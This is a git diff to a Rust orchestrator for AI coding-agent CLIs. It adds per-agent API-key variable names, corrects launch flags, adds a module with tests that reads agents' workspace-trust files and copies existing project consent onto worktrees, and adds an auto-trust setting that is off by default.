description: "AI-powered coding assistant",
co_author: "OpenCode <[email protected]>",
+ // Multi-provider: the variable that matters is whichever provider the
+ // user's opencode config selects, so all four it knows about are listed.
+ // Present in the 1.18.20 binary.
+ api_key_env: &[
+ "ANTHROPIC_API_KEY",
+ "OPENAI_API_KEY",
+ "GEMINI_API_KEY",
+ "GOOGLE_GENERATIVE_AI_API_KEY",
+ ],
env: &[],
base_args: &[],
- prompt_form: PromptForm::Flag("-p"),
- launch_prompt_verified: false,
+ // `--prompt`, not `-p`: opencode has no `-p` short form at all, so the
+ // previous value would have failed the moment it was used. Verified
+ // against opencode 1.18.20: `opencode --prompt '<prompt>'` submits the
+ // prompt as a user message and stays interactive.
+ prompt_form: PromptForm::Flag("--prompt"),
+ launch_prompt_verified: true,
resume: ResumeArgs::Append(&["--continue"]),
headless_args: &[],
skill_dir: Some((".opencode/command", "")),
@@ -454,10 +555,20 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
binary: "agent",
description: "Cursor Agent CLI",
co_author: "Cursor Agent <[email protected]>",
+ // `agent --help`: "--api-key <key> ... (can also use CURSOR_API_KEY env
+ // var)". Verified 2026.08.11.
+ api_key_env: &["CURSOR_API_KEY"],
env: &[],
- base_args: &["--yolo"],
+ // `--trust` is "trust the current workspace without prompting". It is not
+ // an escalation on top of `--yolo`, which already auto-runs every tool β€”
+ // refusing the narrower flag while passing the broader one would be
+ // incoherent. Verified against cursor-agent 2026.08.11: no
+ // `Workspace Trust Required` dialog, prompt delivered, session usable.
+ base_args: &["--yolo", "--trust"],
prompt_form: PromptForm::Argv,
- launch_prompt_verified: false,
+ // Verified against cursor-agent 2026.08.11 together with `--trust`:
+ // `agent --yolo --trust '<prompt>'` submitted the prompt and answered it.
+ launch_prompt_verified: true,
resume: ResumeArgs::Append(&["--continue"]),
headless_args: &["--print", "--yolo"],
skill_dir: Some((".cursor/skills", "")),
@@ -486,6 +597,7 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
// restarting the process, and a paste lands immediately after.
AgentDialog {
patterns: &["Workspace Trust Required"],
+ security: true,
require_all: false,
answer: &["a"],
scope: DialogScope::Launch,
@@ -497,6 +609,10 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
binary: "grok",
description: "xAI's Grok Build CLI",
co_author: "Grok <[email protected]>",
+ // The grok README names this one for exactly this purpose: "For CI or
+ // headless environments, use an API key from console.x.ai:
+ // export XAI_API_KEY=...". The clearest headless story of any agent here.
+ api_key_env: &["XAI_API_KEY"],
env: &[],
// `--trust` also ungates the repo-local `.grok/config.toml` MCP server
// and suppresses the directory-trust dialog.
@@ -527,22 +643,27 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
binary: "agy",
description: "Google's Antigravity CLI",
co_author: "Antigravity <[email protected]>",
+ // Empty on purpose. `GEMINI_API_KEY` / `GOOGLE_API_KEY` appear as
+ // strings in the 1.1.21 binary, but `agy --help` documents no auth flag
+ // at all and the CLI signs in through a browser with the token cached in
+ // the OS keychain β€” which is why the benchmark has never been able to
+ // carry antigravity into a container. Strings in a binary are not a
+ // supported auth path; treat this as "no verified headless credential"
+ // until someone authenticates a fresh `agy` with the variable alone.
+ api_key_env: &[],
env: &[],
// Two orthogonal controls: the flag governs shell/MCP/URL approvals,
// `--mode` governs the file-edit diff review. Both are needed to run
// unattended.
base_args: &["--dangerously-skip-permissions", "--mode", "accept-edits"],
prompt_form: PromptForm::Flag("-i"),
- // Deliberately still false, for a narrower reason than before. `agy … -i
- // '<prompt>'` *does* deliver β€” the skill ran and wrote its file β€” and the
- // trust dialog that used to strand the session afterwards is now answered
- // (see `dialogs` below). What is unverified is the *ordering*: on a first
- // launch the dialog is up before the composer exists, and whether an
- // argv-delivered prompt survives being handed to a menu has not been
- // checked against the real binary. The mid-session lane works, so this
- // stays off until someone measures it β€” flipping it wrong swallows the
- // task silently.
- launch_prompt_verified: false,
+ // The ordering question this used to be blocked on is answered. Measured
+ // against agy 1.1.21 in an untrusted repo: `agy … -i '<prompt>'` launched
+ // with the project-trust dialog up, and once the dialog was answered the
+ // prompt was submitted and answered normally. An argv prompt is *queued*
+ // behind a dialog, not handed to the menu β€” the dialog delays it, it does
+ // not eat it. Same result for claude, cursor and gemini.
+ launch_prompt_verified: true,
resume: ResumeArgs::Append(&["--continue"]),
headless_args: &["-p"],
// Antigravity reads workspace skills from the vendor-neutral `.agents/`
@@ -584,6 +705,7 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
// Its own wording, not Claude's. Codex's differs by one word
// ("directory"), which is why each is matched separately.
patterns: &["Do you trust the contents of this project?"],
+ security: true,
require_all: false,
answer: &["Enter"],
scope: DialogScope::Launch,
diff --git a/src/agent/trust.rs b/src/agent/trust.rs
new file mode 100644
index 0000000..ea06999
--- /dev/null
+++ b/src/agent/trust.rs
@@ -0,0 +1,370 @@
+//! Reading β€” and where unavoidable, seeding β€” each agent's own workspace-trust store.
+//!
+//! Every supported agent gates a directory it has not seen behind an interactive
+//! prompt, and every task gets a fresh worktree. agtx used to clear those prompts
+//! by watching the tmux pane and sending the answer. That is a security decision
+//! taken on the user's behalf, and measurement showed it is usually unnecessary:
+//! most agents record trust per *repository root* or per *ancestor directory*, so
+//! a user who opens the agent once in the project never sees the prompt again in a
+//! worktree beneath it.
+//!
+//! This module answers "is path P already trusted for agent A?" by reading the
+//! agent's own file β€” which is also how consent given **outside** agtx is
+//! discovered, since the agent records it either way.
+//!
+//! | Agent | Store | Match |
+//! |---|---|---|
+//! | claude | `~/.claude.json` β†’ `projects["<dir>"].hasTrustDialogAccepted` | ancestor |
+//! | codex | `~/.codex/config.toml` β†’ `[projects."<dir>"] trust_level` | ancestor (git repo root) |
+//! | gemini | `~/.gemini/trustedFolders.json` β†’ `{"<dir>": "TRUST_FOLDER"}`, **lowercased** | ancestor |
+//! | antigravity | `~/.gemini/antigravity-cli/settings.json` β†’ `trustedWorkspaces: [...]` | **exact** |
+//! | cursor, grok | launch flag `--trust` | n/a |
+//! | opencode | no trust concept | n/a |
+//! | copilot | unmeasured | n/a |
+//!
+//! Versions the table was measured against: claude 2.1.246, codex 0.144.5,
+//! gemini 0.46.0, agy 1.1.21, cursor-agent 2026.08.11, opencode 1.18.20.
+//!
+//! **copilot is deliberately `NotApplicable`, not "assumed inherited".** It is not
+//! installed on any machine this was measured on, so nothing is known about its
+//! dialogs or its store. Assuming an unmeasured agent behaves like its neighbours
+//! is what produced the antigravity and cursor dialog bugs.
+
+use anyhow::Result;
+use std::path::{Path, PathBuf};
+
+/// What agtx knows about an agent's trust for one directory.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum Trust {
+ /// The agent's own store already covers this path β€” it will not prompt.
+ Trusted,
+ /// The agent has a trust store and this path is not covered: it *will* prompt.
+ Untrusted,
+ /// This agent has no trust gate agtx can reason about β€” a launch flag handles
+ /// it, it has no such concept, or it has never been measured. Never treated as
+ /// a blocker.
+ NotApplicable,
+}
+
+/// How an agent matches a path against its store.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum Match {
+ /// A trusted ancestor covers everything beneath it.
+ Ancestor,
+ /// Only the exact path counts β€” every worktree needs its own entry.
+ Exact,
+}
+
+/// Where an agent keeps its trust records, and how it matches them.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+enum Store {
+ /// `~/.claude.json`, `projects["<dir>"].hasTrustDialogAccepted == true`.
+ ClaudeJson,
+ /// `~/.codex/config.toml`, `[projects."<dir>"] trust_level = "trusted"`.
+ CodexToml,
+ /// `~/.gemini/trustedFolders.json`, `{"<lowercased dir>": "TRUST_FOLDER"}`.
+ GeminiTrustedFolders,
+ /// `~/.gemini/antigravity-cli/settings.json`, `trustedWorkspaces: ["<dir>", …]`.
+ AntigravityWorkspaces,
+}
+
+impl Store {
+ fn matching(self) -> Match {
+ match self {
+ // Verified: a fresh `git worktree add` under an already-trusted project
+ // opened straight at the composer, with no new `projects` entry written.
+ Store::ClaudeJson => Match::Ancestor,
+ // Verified: codex's own dialog says "Trusting will apply to the
+ // repository root", and a worktree under a trusted root neither
+ // prompted nor lost its project-local config.
+ Store::CodexToml => Match::Ancestor,
+ // Verified: `/users/fynn` alone covers everything beneath it, which is
+ // also why gemini's dialog offers "Trust parent folder".
+ Store::GeminiTrustedFolders => Match::Ancestor,
+ // Verified against agy 1.1.21: `/Users/fynn` is in the list, and a
+ // brand-new directory created *directly under it* still prompted. No
+ // inheritance at any depth.
+ Store::AntigravityWorkspaces => Match::Exact,
+ }
+ }
+
+ fn path(self, home: &Path) -> PathBuf {
+ match self {
+ Store::ClaudeJson => home.join(".claude.json"),
+ Store::CodexToml => home.join(".codex").join("config.toml"),
+ Store::GeminiTrustedFolders => home.join(".gemini").join("trustedFolders.json"),
+ Store::AntigravityWorkspaces => home
+ .join(".gemini")
+ .join("antigravity-cli")
+ .join("settings.json"),
+ }
+ }
+
+ /// Every path this store currently trusts, in the form the agent stores them.
+ fn trusted_paths(self, home: &Path) -> Vec<String> {
+ let raw = match std::fs::read_to_string(self.path(home)) {
+ Ok(r) => r,
+ Err(_) => return Vec::new(),
+ };
+ match self {
+ Store::ClaudeJson => serde_json::from_str::<serde_json::Value>(&raw)
+ .ok()
+ .and_then(|v| v.get("projects")?.as_object().cloned())
+ .map(|projects| {
+ projects
+ .into_iter()
+ .filter(|(_, v)| {
+ v.get("hasTrustDialogAccepted")
+ .and_then(|b| b.as_bool())
+ .unwrap_or(false)
+ })
+ .map(|(k, _)| k)
+ .collect()
+ })
+ .unwrap_or_default(),
+ // Parsed by hand rather than with a TOML crate: the file is the user's
+ // own general config and may contain constructs agtx has no business
+ // failing on. Only `[projects."<path>"]` headers followed by a trusted
+ // `trust_level` matter here.
+ Store::CodexToml => {
+ let mut out = Vec::new();
+ let mut current: Option<String> = None;
+ for line in raw.lines() {
+ let line = line.trim();
+ if let Some(rest) = line
+ .strip_prefix("[projects.\"")
+ .and_then(|r| r.strip_suffix("\"]"))
+ {
+ current = Some(rest.to_string());
+ } else if line.starts_with('[') {
+ current = None;
+ } else if let Some(path) = current.as_ref() {
+ if line.starts_with("trust_level") && line.contains("\"trusted\"") {
+ out.push(path.clone());
+ current = None;
+ }
+ }
+ }
+ out
+ }
+ Store::GeminiTrustedFolders => serde_json::from_str::<serde_json::Value>(&raw)
+ .ok()
+ .and_then(|v| v.as_object().cloned())
+ .map(|m| {
+ m.into_iter()
+ .filter(|(_, v)| v.as_str() == Some("TRUST_FOLDER"))
+ .map(|(k, _)| k)
+ .collect()
+ })
+ .unwrap_or_default(),
+ Store::AntigravityWorkspaces => serde_json::from_str::<serde_json::Value>(&raw)
+ .ok()
+ .and_then(|v| v.get("trustedWorkspaces")?.as_array().cloned())
+ .map(|a| {
+ a.into_iter()
+ .filter_map(|v| v.as_str().map(str::to_string))
+ .collect()
+ })
+ .unwrap_or_default(),
+ }
+ }
+
+ /// Gemini lowercases what it stores; nothing else does.
+ fn normalize(self, path: &str) -> String {
+ match self {
+ Store::GeminiTrustedFolders => path.to_lowercase(),
+ _ => path.to_string(),
+ }
+ }
+}
+
+fn store_for(agent: &str) -> Option<Store> {
+ match agent {
+ "claude" => Some(Store::ClaudeJson),
+ "codex" => Some(Store::CodexToml),
+ "gemini" => Some(Store::GeminiTrustedFolders),
+ "antigravity" => Some(Store::AntigravityWorkspaces),
+ // cursor and grok pass `--trust` at launch; opencode has no trust gate;
+ // copilot is unmeasured. None of them are a blocker agtx can reason about.
+ _ => None,
+ }
+}
+
+/// The forms of `path` an agent might have recorded.
+///
+/// Agents store the working directory **as they received it**, not canonicalised:
+/// antigravity's live list holds `/tmp/agy-probe-agy1` next to
+/// `/private/var/folders/…`. On macOS `/tmp` and `/var` are symlinks, so the same
+/// directory has two spellings and a comparison on one of them silently misses.
+/// This is the same mismatch that invalidated the first codex measurement.
+fn path_forms(path: &Path) -> Vec<String> {
+ let mut forms = vec![path.to_string_lossy().to_string()];
+ if let Ok(real) = std::fs::canonicalize(path) {
+ let real = real.to_string_lossy().to_string();
+ // `canonicalize` yields a `\\?\` prefix on Windows; harmless here because
+ // it only ever widens the set of spellings we compare against.
+ if !forms.contains(&real) {
+ forms.push(real);
+ }
+ }
+ forms
+}
+
+fn is_covered(store: Store, trusted: &[String], path: &Path) -> bool {
+ let matching = store.matching();
+ for form in path_forms(path) {
+ let candidate = store.normalize(&form);
+ for entry in trusted {
+ let entry = store.normalize(entry);
+ if entry == candidate {
+ return true;
+ }
+ if matching == Match::Ancestor {
+ // Compare on path boundaries: `/a/bc` must not be covered by `/a/b`.
+ let prefix = if entry.ends_with('/') {
+ entry.clone()
+ } else {
+ format!("{entry}/")
+ };
+ if candidate.starts_with(&prefix) {
+ return true;
+ }
+ }
+ }
+ }
+ false
+}
+
+/// Whether `agent` will already trust `path`, per the agent's own records.
+pub fn status(agent: &str, path: &Path, home: &Path) -> Trust {
+ let Some(store) = store_for(agent) else {
+ return Trust::NotApplicable;
+ };
+ if is_covered(store, &store.trusted_paths(home), path) {
+ Trust::Trusted
+ } else {
+ Trust::Untrusted
+ }
+}
+
+/// Whether this agent needs a per-directory entry that agtx can write for it.
+///
+/// True only for antigravity: it matches exactly, so a project-level consent the
+/// user has already given cannot cover a new worktree on its own. Every other
+/// agent either inherits from an ancestor (nothing to write) or has no store.
+pub fn needs_seeding(agent: &str) -> bool {
+ store_for(agent).map(Store::matching) == Some(Match::Exact)
+}
+
+/// Record `worktree` as trusted for `agent`, if the user has already trusted
+/// `project_root` for that agent.
+///
+/// This **replays an existing consent**, it does not create one: with an untrusted
+/// project root it does nothing and returns `false`, leaving the decision where it
+/// belongs. Writing to the agent's file is defensible here precisely because the
+/// answer already exists in it β€” and because the entry lands there either way, put
+/// by the agent itself the moment anyone answers its dialog.
+///
+/// Returns whether an entry was written.
+pub fn seed_from_project(
+ agent: &str,
+ project_root: &Path,
+ worktree: &Path,
+ home: &Path,
+) -> Result<bool> {
+ let Some(store) = store_for(agent) else {
+ return Ok(false);
+ };
+ if store.matching() != Match::Exact {
+ return Ok(false);
+ }
+ if status(agent, project_root, home) != Trust::Trusted {
+ return Ok(false);
+ }
+ if status(agent, worktree, home) == Trust::Trusted {
+ return Ok(false);
+ }
+ match store {
+ Store::AntigravityWorkspaces => seed_antigravity(worktree, home).map(|()| true),
+ _ => Ok(false),
+ }
+}
+
+/// Append the worktree to antigravity's `trustedWorkspaces`.
+///
+/// Read-modify-write with an atomic rename: `agy` rewrites this file wholesale, so
+/// a partial write would be visible to it. Both spellings of the path are added β€”
+/// see [`path_forms`].
+fn seed_antigravity(worktree: &Path, home: &Path) -> Result<()> {
+ let file = Store::AntigravityWorkspaces.path(home);
+ if let Some(parent) = file.parent() {
+ std::fs::create_dir_all(parent)?;
+ }
+ let mut root: serde_json::Value = std::fs::read_to_string(&file)
+ .ok()
+ .and_then(|raw| serde_json::from_str(&raw).ok())
+ .filter(|v: &serde_json::Value| v.is_object())
+ .unwrap_or_else(|| serde_json::json!({}));
+
+ let list = root
+ .as_object_mut()
+ .expect("object by construction")
+ .entry("trustedWorkspaces")
+ .or_insert_with(|| serde_json::json!([]));
+ if !list.is_array() {
+ *list = serde_json::json!([]);
+ }
+ let arr = list.as_array_mut().expect("array by construction");
+ for form in path_forms(worktree) {
+ if !arr.iter().any(|v| v.as_str() == Some(form.as_str())) {
+ arr.push(serde_json::Value::String(form));
+ }
+ }
+
+ let tmp = file.with_extension(format!("agtx-tmp{}", std::process::id()));
+ std::fs::write(&tmp, serde_json::to_string_pretty(&root)?)?;
+ std::fs::rename(&tmp, &file)?;
+ Ok(())
+}
+
+/// Drop `worktree` from an agent's trust store.
+///
+/// Called when a worktree is removed. Without it these lists grow one entry per
+/// task forever, pointing at directories that no longer exist. Only stores agtx
+/// writes to are pruned β€” agtx does not edit records it did not create.
+pub fn forget(agent: &str, worktree: &Path, home: &Path) -> Result<()> {
+ let Some(store) = store_for(agent) else {
+ return Ok(());
+ };
+ if store.matching() != Match::Exact {
+ return Ok(());
+ }
+ let file = store.path(home);
+ let Ok(raw) = std::fs::read_to_string(&file) else {
+ return Ok(());
+ };
+ let Ok(mut root) = serde_json::from_str::<serde_json::Value>(&raw) else {
+ return Ok(());
+ };
+ let forms = path_forms(worktree);
+ if let Some(arr) = root
+ .get_mut("trustedWorkspaces")
+ .and_then(|v| v.as_array_mut())
+ {
+ let before = arr.len();
+ arr.retain(|v| !v.as_str().is_some_and(|s| forms.iter().any(|f| f == s)));
+ if arr.len() == before {
+ return Ok(());
+ }
+ } else {
+ return Ok(());
+ }
+ let tmp = file.with_extension(format!("agtx-tmp{}", std::process::id()));
+ std::fs::write(&tmp, serde_json::to_string_pretty(&root)?)?;
+ std::fs::rename(&tmp, &file)?;
+ Ok(())
+}
+
+#[cfg(test)]
+#[path = "trust_tests.rs"]
+mod trust_tests;
diff --git a/src/agent/trust_tests.rs b/src/agent/trust_tests.rs
new file mode 100644
index 0000000..d0fc47e
--- /dev/null
+++ b/src/agent/trust_tests.rs
@@ -0,0 +1,374 @@
+//! Tests for [`super`] β€” agent workspace-trust discovery and seeding.
+//!
+//! Every store shape here is a reduction of a real file measured on a live
+//! machine, not an invention: the gemini map really is lowercased, antigravity
+//! really does hold two spellings of the same directory, and codex's config
+//! really is a general TOML file with unrelated sections in it.
+
+use super::*;
+use std::fs;
+
+fn home() -> tempfile::TempDir {
+ tempfile::tempdir().unwrap()
+}
+
+fn write(home: &Path, rel: &str, body: &str) {
+ let p = home.join(rel);
+ fs::create_dir_all(p.parent().unwrap()).unwrap();
+ fs::write(p, body).unwrap();
+}
+
+// ---------------------------------------------------------------- claude ----
+
+#[test]
+fn claude_trust_is_inherited_from_an_ancestor() {
+ let h = home();
+ write(
+ h.path(),
+ ".claude.json",
+ r#"{"projects":{"/proj":{"hasTrustDialogAccepted":true}}}"#,
+ );
+ assert_eq!(
+ status("claude", Path::new("/proj/.agtx/worktrees/w1"), h.path()),
+ Trust::Trusted
+ );
+}
+
+#[test]
+fn claude_untrusted_project_does_not_cover_its_worktrees() {
+ let h = home();
+ write(
+ h.path(),
+ ".claude.json",
+ r#"{"projects":{"/proj":{"hasTrustDialogAccepted":false}}}"#,
+ );
+ assert_eq!(
+ status("claude", Path::new("/proj"), h.path()),
+ Trust::Untrusted
+ );
+ assert_eq!(
+ status("claude", Path::new("/proj/wt"), h.path()),
+ Trust::Untrusted
+ );
+}
+
+/// The real file records both answers; only `true` is consent.
+#[test]
+fn claude_reads_the_flag_not_merely_the_entry() {
+ let h = home();
+ write(
+ h.path(),
+ ".claude.json",
+ r#"{"projects":{"/a":{"hasTrustDialogAccepted":false},"/b":{"hasTrustDialogAccepted":true}}}"#,
+ );
+ assert_eq!(
+ status("claude", Path::new("/a"), h.path()),
+ Trust::Untrusted
+ );
+ assert_eq!(status("claude", Path::new("/b"), h.path()), Trust::Trusted);
+}
+
+/// `/a/bc` is not inside `/a/b`. A naive `starts_with` says it is.
+#[test]
+fn ancestor_matching_respects_path_boundaries() {
+ let h = home();
+ write(
+ h.path(),
+ ".claude.json",
+ r#"{"projects":{"/a/b":{"hasTrustDialogAccepted":true}}}"#,
+ );
+ assert_eq!(
+ status("claude", Path::new("/a/b/c"), h.path()),
+ Trust::Trusted
+ );
+ assert_eq!(
+ status("claude", Path::new("/a/bc"), h.path()),
+ Trust::Untrusted
+ );
+}
+
+// ----------------------------------------------------------------- codex ----
+
+#[test]
+fn codex_trust_is_read_from_a_general_toml_config() {
+ let h = home();
+ write(
+ h.path(),
+ ".codex/config.toml",
+ r#"
+model = "gpt-5.6-sol"
+
+[mcp_servers.something]
+command = "elsewhere"
+
+[projects."/proj"]
+trust_level = "trusted"
+"#,
+ );
+ assert_eq!(
+ status("codex", Path::new("/proj/wt"), h.path()),
+ Trust::Trusted
+ );
+ assert_eq!(
+ status("codex", Path::new("/other"), h.path()),
+ Trust::Untrusted
+ );
+}
+
+/// A `[projects."…"]` header alone is not consent β€” the level has to say so.
+#[test]
+fn codex_ignores_a_project_section_that_is_not_trusted() {
+ let h = home();
+ write(
+ h.path(),
+ ".codex/config.toml",
+ "[projects.\"/proj\"]\ntrust_level = \"untrusted\"\n",
+ );
+ assert_eq!(
+ status("codex", Path::new("/proj"), h.path()),
+ Trust::Untrusted
+ );
+}
+
+/// A following section must not inherit the previous one's key.
+#[test]
+fn codex_does_not_leak_trust_across_sections() {
+ let h = home();
+ write(
+ h.path(),
+ ".codex/config.toml",
+ "[projects.\"/a\"]\n[other]\ntrust_level = \"trusted\"\n",
+ );
+ assert_eq!(status("codex", Path::new("/a"), h.path()), Trust::Untrusted);
+}
+
+// ---------------------------------------------------------------- gemini ----
+
+/// Gemini lowercases what it stores, so a comparison on the raw path misses.
+#[test]
+fn gemini_paths_are_matched_case_insensitively() {
+ let h = home();
+ write(
+ h.path(),
+ ".gemini/trustedFolders.json",
+ r#"{"/users/fynn/workspace/proj":"TRUST_FOLDER"}"#,
+ );
+ assert_eq!(
+ status(
+ "gemini",
+ Path::new("/Users/Fynn/workspace/proj/.agtx/worktrees/w1"),
+ h.path()
+ ),
+ Trust::Trusted
+ );
+}
+
+#[test]
+fn gemini_ignores_entries_that_are_not_trust_folder() {
+ let h = home();
+ write(
+ h.path(),
+ ".gemini/trustedFolders.json",
+ r#"{"/p":"TRUST_NONE"}"#,
+ );
+ assert_eq!(
+ status("gemini", Path::new("/p"), h.path()),
+ Trust::Untrusted
+ );
+}
+
+// ----------------------------------------------------------- antigravity ----
+
+/// The measured behaviour that drives the whole seeding design: `/Users/fynn` is
+/// in the live list, and a brand-new directory directly under it still prompted.
+#[test]
+fn antigravity_trust_is_exact_and_never_inherited() {
+ let h = home();
+ write(
+ h.path(),
+ ".gemini/antigravity-cli/settings.json",
+ r#"{"trustedWorkspaces":["/proj"]}"#,
+ );
+ assert_eq!(
+ status("antigravity", Path::new("/proj"), h.path()),
+ Trust::Trusted
+ );
+ assert_eq!(
+ status("antigravity", Path::new("/proj/wt"), h.path()),
+ Trust::Untrusted
+ );
+}
+
+#[test]
+fn only_antigravity_needs_seeding() {
+ assert!(needs_seeding("antigravity"));
+ for other in [
+ "claude", "codex", "gemini", "cursor", "grok", "opencode", "copilot",
+ ] {
+ assert!(!needs_seeding(other), "{other}");
+ }
+}
+
+#[test]
+fn seeding_replays_project_consent_onto_a_worktree() {
+ let h = home();
+ let root = h.path().join("proj");
+ let wt = root.join(".agtx/worktrees/w1");
+ fs::create_dir_all(&wt).unwrap();
+ write(
+ h.path(),
+ ".gemini/antigravity-cli/settings.json",
+ &format!(r#"{{"trustedWorkspaces":["{}"]}}"#, root.to_string_lossy()),
+ );
+
+ assert_eq!(status("antigravity", &wt, h.path()), Trust::Untrusted);
+ assert!(seed_from_project("antigravity", &root, &wt, h.path()).unwrap());
+ assert_eq!(status("antigravity", &wt, h.path()), Trust::Trusted);
+}
+
+/// The whole point of the design: agtx replays a decision, it never makes one.
+#[test]
+fn seeding_does_nothing_when_the_project_was_never_trusted() {
+ let h = home();
+ let root = h.path().join("proj");
+ let wt = root.join("wt");
+ fs::create_dir_all(&wt).unwrap();
+ write(
+ h.path(),
+ ".gemini/antigravity-cli/settings.json",
+ r#"{"trustedWorkspaces":[]}"#,
+ );
+ assert!(!seed_from_project("antigravity", &root, &wt, h.path()).unwrap());
+ assert_eq!(status("antigravity", &wt, h.path()), Trust::Untrusted);
+}
+
+/// Redeploying a worktree must not grow the list.
+#[test]
+fn seeding_is_idempotent() {
+ let h = home();
+ let root = h.path().join("proj");
+ let wt = root.join("wt");
+ fs::create_dir_all(&wt).unwrap();
+ write(
+ h.path(),
+ ".gemini/antigravity-cli/settings.json",
+ &format!(r#"{{"trustedWorkspaces":["{}"]}}"#, root.to_string_lossy()),
+ );
+ assert!(seed_from_project("antigravity", &root, &wt, h.path()).unwrap());
+ let after_first = Store::AntigravityWorkspaces.trusted_paths(h.path()).len();
+ assert!(!seed_from_project("antigravity", &root, &wt, h.path()).unwrap());
+ assert_eq!(
+ Store::AntigravityWorkspaces.trusted_paths(h.path()).len(),
+ after_first
+ );
+}
+
+/// Other people's entries are not ours to drop.
+#[test]
+fn seeding_preserves_existing_entries() {
+ let h = home();
+ let root = h.path().join("proj");
+ let wt = root.join("wt");
+ fs::create_dir_all(&wt).unwrap();
+ write(
+ h.path(),
+ ".gemini/antigravity-cli/settings.json",
+ &format!(
+ r#"{{"trustedWorkspaces":["/somewhere/else","{}"]}}"#,
+ root.to_string_lossy()
+ ),
+ );
+ seed_from_project("antigravity", &root, &wt, h.path()).unwrap();
+ let paths = Store::AntigravityWorkspaces.trusted_paths(h.path());
+ assert!(paths.iter().any(|p| p == "/somewhere/else"));
+ assert!(paths.iter().any(|p| p == &root.to_string_lossy()));
+}
+
+#[test]
+fn forget_removes_only_the_named_worktree() {
+ let h = home();
+ let root = h.path().join("proj");
+ let wt = root.join("wt");
+ fs::create_dir_all(&wt).unwrap();
+ write(
+ h.path(),
+ ".gemini/antigravity-cli/settings.json",
+ &format!(
+ r#"{{"trustedWorkspaces":["{}","{}"]}}"#,
+ root.to_string_lossy(),
+ wt.to_string_lossy()
+ ),
+ );
+ forget("antigravity", &wt, h.path()).unwrap();
+ let paths = Store::AntigravityWorkspaces.trusted_paths(h.path());
+ assert!(paths.iter().any(|p| p == &root.to_string_lossy()));
+ assert!(!paths.iter().any(|p| p == &wt.to_string_lossy()));
+}
+
+/// Pruning an inheriting agent's store would delete a record agtx never wrote.
+#[test]
+fn forget_never_touches_a_store_agtx_does_not_seed() {
+ let h = home();
+ let body = r#"{"projects":{"/proj/wt":{"hasTrustDialogAccepted":true}}}"#;
+ write(h.path(), ".claude.json", body);
+ forget("claude", Path::new("/proj/wt"), h.path()).unwrap();
+ assert_eq!(
+ fs::read_to_string(h.path().join(".claude.json")).unwrap(),
+ body
+ );
+}
+
+// ------------------------------------------------------------ no-op agents --
+
+/// Flag-based, conceptless and unmeasured agents must never read as a blocker.
+#[test]
+fn agents_without_a_readable_store_are_not_applicable() {
+ let h = home();
+ for a in ["cursor", "grok", "opencode", "copilot", "somethingelse"] {
+ assert_eq!(
+ status(a, Path::new("/anywhere"), h.path()),
+ Trust::NotApplicable,
+ "{a}"
+ );
+ }
+}
+
+/// A user who has never launched the agent has no file at all.
+#[test]
+fn a_missing_store_reads_as_untrusted_not_as_an_error() {
+ let h = home();
+ assert_eq!(
+ status("claude", Path::new("/p"), h.path()),
+ Trust::Untrusted
+ );
+ assert_eq!(status("codex", Path::new("/p"), h.path()), Trust::Untrusted);
+ assert_eq!(
+ status("gemini", Path::new("/p"), h.path()),
+ Trust::Untrusted
+ );
+ assert_eq!(
+ status("antigravity", Path::new("/p"), h.path()),
+ Trust::Untrusted
+ );
+}
+
+/// A half-written or hand-edited file must not panic the refresh thread.
+#[test]
+fn malformed_stores_degrade_to_untrusted() {
+ let h = home();
+ write(h.path(), ".claude.json", "{not json");
+ write(h.path(), ".gemini/trustedFolders.json", "[]");
+ write(h.path(), ".gemini/antigravity-cli/settings.json", "null");
+ assert_eq!(
+ status("claude", Path::new("/p"), h.path()),
+ Trust::Untrusted
+ );
+ assert_eq!(
+ status("gemini", Path::new("/p"), h.path()),
+ Trust::Untrusted
+ );
+ assert_eq!(
+ status("antigravity", Path::new("/p"), h.path()),
+ Trust::Untrusted
+ );
+}
diff --git a/src/config/mod.rs b/src/config/mod.rs
index 5d954d3..f77f973 100644
--- a/src/config/mod.rs
+++ b/src/config/mod.rs
@@ -30,6 +30,24 @@ pub struct GlobalConfig {
/// tmux pane output.
#[serde(default = "default_agent_hooks")]
pub agent_hooks: bool,
+ /// Answer agents' trust and permission-bypass prompts on the user's behalf.
+ ///
+ /// Off by default: those prompts ask the user to vouch for a directory or to
+ /// accept unattended tool execution, and that is their decision. With this
+ /// off a task whose agent is waiting on one shows as `Blocked` with the reason
+ /// on the card, and the user answers in the agent's own pane.
+ ///
+ /// Turning it on restores the historical behaviour β€” agtx reads the pane and
+ /// sends the answer β€” which is what unattended runs want. It is already
+ /// effectively on inside the Docker sandbox and the benchmark, where the
+ /// container is disposable and pre-accepting is the documented policy.
+ ///
+ /// Most users never need it: trust is inherited from the project root for
+ /// claude, codex and gemini, `--trust` covers cursor and grok, opencode never
+ /// asks, and antigravity's per-worktree entry is seeded from the consent the
+ /// user already gave the project (see `agent::trust`).
+ #[serde(default)]
+ pub auto_trust: bool,
}
fn default_agent_hooks() -> bool {
@@ -45,6 +63,7 @@ impl Default for GlobalConfig {
theme: ThemeConfig::default(),
fullscreen_on_enter: false,
agent_hooks: default_agent_hooks(),
+ auto_trust: false,
}
}
}
@@ -380,6 +399,7 @@ pub struct MergedConfig {
pub fullscreen_on_enter: bool,
pub branch_prefix: String,
pub agent_hooks: bool,
+ pub auto_trust: bool,
}
impl MergedConfig {
@@ -416,6 +436,7 @@ impl MergedConfig {
workflow_plugin: project.workflow_plugin.clone(),
fullscreen_on_enter: global.fullscreen_on_enter,
agent_hooks: global.agent_hooks,
+ auto_trust: global.auto_trust,
branch_prefix: project
.branch_prefix
.clone()
diff --git a/src/db/schema.rs b/src/db/schema.rs
index 4551a4c..fe855a7 100644
--- a/src/db/schema.rs
+++ b/src/db/schema.rs
@@ -59,12 +59,15 @@ impl Database {
/// Create a stable hash from a path string for database filename.
/// Uses SHA-256 (truncated to 16 hex chars) for cross-version stability.
fn hash_path(path: &str) -> String {
- use sha2::{Sha256, Digest};
+ use sha2::{Digest, Sha256};
let mut hasher = Sha256::new();
hasher.update(path.as_bytes());
let result = hasher.finalize();
// Take first 8 bytes (16 hex chars) β€” same length as the old DefaultHasher output
- format!("{:016x}", u64::from_be_bytes(result[..8].try_into().unwrap()))
+ format!(
+ "{:016x}",
